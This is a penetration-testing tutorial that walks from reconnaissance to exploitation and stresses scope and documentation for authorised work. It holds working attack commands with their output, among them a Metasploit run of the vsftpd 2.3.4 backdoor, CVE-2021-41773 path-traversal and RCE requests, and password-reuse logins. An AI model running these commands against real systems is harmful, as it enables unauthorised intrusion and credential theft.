The Recon-to-Exploit Chain

Reconnaissance is the first phase of any penetration test. Before exploiting anything, an attacker must understand the target: what systems exist, what software runs on them, what versions, what users, what the network topology looks like. This information directly determines which exploits are viable — without it, exploitation is guesswork.

The recon-to-exploit chain describes the methodology of moving from raw information gathering through structured analysis into a targeted, justified exploitation attempt. Each phase builds on the previous one: passive recon seeds active scanning, active scanning reveals services, service enumeration reveals versions, versions map to known vulnerabilities, and vulnerabilities become confirmed access. Understanding this chain as a whole — rather than as isolated tool commands — is what separates a methodical professional from someone running scripts and hoping for results.

Why Every Phase is Necessary

Each phase of the recon-to-exploit chain serves a specific purpose that cannot be adequately substituted by the others. Passive recon establishes context without risk of detection — it tells you what the target is and how it's structured before you make any contact. Active scanning confirms what is reachable and open. Enumeration extracts specific software versions and configurations that passive recon cannot provide. Exploitation applies the specific technique appropriate for exactly this service, this version, in this configuration.

Skipping straight to exploitation without the preceding phases produces one of two outcomes: either you apply a generic exploit that fails because you didn't understand the target's specific configuration, or you correctly guess and succeed — but have no idea what else might be vulnerable, what compensating controls might exist on other systems, or what the full attack surface looks like. A pentest that produces a single finding through lucky guessing is almost always a worse report than one that systematically documents everything discoverable.

Passive vs Active Recon

Recon falls into two categories with different risk profiles, different tools, and different places in the methodology. The key distinction is whether your activity generates traffic that reaches the target's infrastructure — which determines both detectability and legal considerations.

Passive Recon  → WHOIS, DNS, Shodan, crt.sh, LinkedIn, job postings
                  No traffic generated to target. Legally safe. Hard to detect.

Active Recon   → Port scanning, banner grabbing, ping sweep, traceroute
                  Traffic reaches target. Requires authorisation. Detectable.

Enumeration   → Service interaction, dir bruteforce, user enum, share enum
                  Deeper target interaction. Logged by target services.

Exploitation  → Apply specific exploit to confirmed vulnerable target
                  Informed by all previous phases. Targeted, not speculative.

Chaining Recon into Exploitation

dig target.com ANY
target.com.     MX  mail.target.com
target.com.     TXT "v=spf1 include:mailgun.org"
subfinder -d target.com
dev.target.com  staging.target.com  api.target.com

nmap -sV -p 21,22,80,443,3306 staging.target.com
21/tcp  open  ftp     vsftpd 2.3.4  ← known backdoor!
80/tcp  open  http    Apache 2.2.8  ← EOL, many CVEs

searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution  | unix/remote/17491.rb

msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST staging.target.com
run
uid=0(root) gid=0(root)

gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
/backup       (Status: 200)
curl http://target.com/backup/db.sql
INSERT INTO users VALUES ('admin','5f4dcc3b5aa765d61d8327deb882cf99');

What You Need to Know

Enumeration — Extracting Actionable Detail

Enumeration is the phase between scanning and exploitation where you move from "this port is open" to "this specific software version, with this specific configuration, running as this user, is exploitable via this technique." It is the most time-intensive phase and the one most directly linked to the quality of exploitation that follows. Poor enumeration leads to attempted exploits that don't apply; thorough enumeration produces a prioritised shortlist of high-probability attack paths.

Enumeration is service-specific — you use different tools and different queries depending on what is running. The following covers the most common services encountered in lab environments and real engagements.

Web Application Enumeration

Web applications are the most common initial access surface in modern engagements. Enumeration goes beyond finding open port 80 — it involves identifying the full application structure, the technology stack, hidden endpoints, and accessible functionality that wasn't intended to be public.

# Technology fingerprint from headers and page source:
curl -sI http://target.com | grep -i "server\|x-powered\|set-cookie"
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.24
Set-Cookie: PHPSESSID=...; path=/
# PHP 7.2.24 → EOL since Nov 2020, multiple CVEs available

# Directory and file discovery:
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,bak,old -t 40
/admin/login.php     (Status: 200)
/robots.txt          (Status: 200)
/images/             (Status: 301)
/config.php.bak      (Status: 200)  ← backup config file, likely credentials

# Always read robots.txt -- admins often list sensitive paths they want hidden:
curl http://target.com/robots.txt
Disallow: /internal-api/
Disallow: /staff-only/
Disallow: /backup-2023/

# Vhost discovery (find virtual hosts on the same IP):
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Found: dev.target.com (Status: 200)  ← different app on same server

SMB Enumeration

SMB (Server Message Block) is a Windows file-sharing protocol that is also present on Linux systems running Samba. It frequently exposes authentication information, network share contents, and — on unpatched systems — severe remote code execution vulnerabilities. SMB enumeration is one of the highest-value activities on any internal network assessment.

# Check SMB version and signing (signing disabled = NTLM relay possible):
nmap --script smb-security-mode,smb2-security-mode -p 445 10.10.10.5
message_signing: disabled  ← NTLM relay attacks viable on this host

# Enumerate accessible shares (try null session first):
smbclient -L //10.10.10.5 -N
  Sharename       Type      Comment
  ---------       ----      -------
  ADMIN$          Disk      Remote Admin
  C$              Disk      Default share
  IPC$            IPC       Remote IPC
  SharedFiles     Disk      Company file share  ← investigate this

# Connect to accessible share and enumerate contents:
smbclient //10.10.10.5/SharedFiles -N
smb: \> ls
  HR_Passwords_2024.xlsx   ← credential file in network share
  Q1_Projections.xlsx
  Staff_Contacts.csv

# Check for EternalBlue vulnerability:
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.5
| VULNERABLE: Remote Code Execution via EternalBlue (MS17-010)

Credential Discovery and Database Access

Configuration files, backup files, and database dumps are among the highest-value findings in web application enumeration because they frequently contain credentials that provide direct access without requiring any vulnerability exploitation.

# Download discovered backup config file:
curl http://target.com/config.php.bak
$db_host = "localhost";
$db_user = "webapp";
$db_pass = "W3bApp@2024!";
$db_name = "production_db";

# Try credentials against MySQL if port 3306 is open:
mysql -h target.com -u webapp -p'W3bApp@2024!' production_db
mysql> SHOW TABLES;
+---------------------+
| users               |
| admin_users         |  ← separate admin table
| products            |
mysql> SELECT * FROM admin_users;
admin | $2y$10$[bcrypt_hash]  ← bcrypt, not crackable quickly

# Try the DB password against the web admin panel instead (password reuse):
curl -c cookies.txt -d "user=admin&pass=W3bApp@2024!" http://target.com/admin/login.php
HTTP/1.1 302 Found → Location: /admin/dashboard.php  ← logged in!
# Password reused between database and web admin account

Moving from Version to Exploit — CVE Research Methodology

Service fingerprinting produces version strings. The next step is converting those version strings into a prioritised list of applicable vulnerabilities — and for each vulnerability, assessing whether it is exploitable in this specific context and what a successful exploitation would achieve.

The CVE Research Workflow

1. Confirm the exact version: Version detection from Nmap is based on banner analysis — verify it with a manual banner grab or by checking the application's own "About" or status pages. Exploiting the wrong version wastes time and may fail in ways that look like access controls rather than version mismatch.
2. Search ExploitDB first: searchsploit [software] [version] searches a local copy of ExploitDB. This works offline, is fast, and returns both exploit code and Metasploit module paths. Filter to your platform (Linux/Windows/web).
3. Search NVD for comprehensive CVE list: ExploitDB only contains vulnerabilities with public exploit code. NVD (nvd.nist.gov) lists all CVEs regardless of exploit availability — useful for demonstrating vulnerability existence in a report even when no exploit is available.
4. Check Metasploit module availability: msfconsole -q -x "search type:exploit [software]" — a Metasploit module means the exploit has been validated and packaged for reliable use.
5. Read the exploit before running it: Always review exploit code before executing it in an engagement. Understand what it does: how it achieves execution, what network connections it makes, what files it creates, what it might crash. An exploit that causes a denial of service on a production system during working hours is a professional failure.

# Version confirmed from banner and Server header:
Server: Apache/2.4.49 (Unix)

# ExploitDB search:
searchsploit apache 2.4.49
Apache HTTP Server 2.4.49 - Path Traversal and RCE  | multiple/webapps/50383.sh

# Read the exploit before running it:
searchsploit -x multiple/webapps/50383.sh
# CVE-2021-41773: Path traversal in Apache 2.4.49
# Bypasses the mapped path check using URL-encoded traversal sequences
# Requires: mod_cgi enabled for RCE; path traversal works without it

# Manual verification (path traversal for LFI without RCE):
curl "http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# Confirmed: /etc/passwd readable via path traversal
# This proves CVE-2021-41773 without running external exploit code

# If mod_cgi is enabled, test for RCE:
curl "http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" -d "echo;id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Vulnerability Chaining — From Low to Critical

Individual findings rarely tell the complete story of a system's security posture. The most important skill in this phase — and the one that most differentiates experienced practitioners from beginners — is recognising when a series of individually low-severity findings chains into a much more significant attack path.

Chaining is how real attackers operate. They do not wait to find a Critical vulnerability — they combine multiple smaller steps, each one enabling the next. Understanding this means you look at every finding not just for its standalone severity, but for what it enables.

Building a Chain Diagram

For the report's attack narrative, chains are most clearly communicated visually — a simple flow diagram or numbered step list showing how finding A enabled finding B, which enabled finding C, leading to the final impact. This is more persuasive than three separate finding entries, because it shows causation rather than correlation. The executive reader sees that removing any single link breaks the chain — which means the chain also identifies which fix has the highest leverage value for breaking the most attack paths simultaneously.

Scope, Documentation, and Professional Discipline

Technical skill in reconnaissance and exploitation is necessary but not sufficient for professional penetration testing. The professional framework that governs how you apply those skills — scope management, documentation discipline, and the judgements you make in ambiguous situations — determines whether you operate legally, ethically, and in a way that produces maximum value for the client.

Scope Management in Practice

Scope defines what you are authorised to test. In a real engagement, scope is defined in a Statement of Work or Rules of Engagement document that specifies IP ranges, domains, application URLs, testing windows, and excluded systems. During reconnaissance you will often discover systems that appear related to the target but are not explicitly in scope — subsidiaries, partner systems, cloud accounts linked to the same organisation. These must not be tested, regardless of how interesting they look.

Documentation Discipline During Testing

Maintaining notes during testing is not just useful for the report — it is professionally required. A well-documented engagement has a timestamped record of every significant action, every tool command run, every finding discovered, and every system touched. This serves several purposes: it enables writing the report accurately (memory is unreliable over multi-day engagements), it provides an audit trail if the client later disputes that something was tested, and it is essential evidence if your testing inadvertently causes an incident (you can show exactly what you did and when).

The minimum documentation standard during active testing is: timestamp, target system, command or action taken, output or result. Tools like tmux with logging, CherryTree, Obsidian, or even a simple timestamped terminal log achieve this with minimal overhead. Documenting as you go is always faster than trying to reconstruct actions from memory the next day.

Core Concepts Summary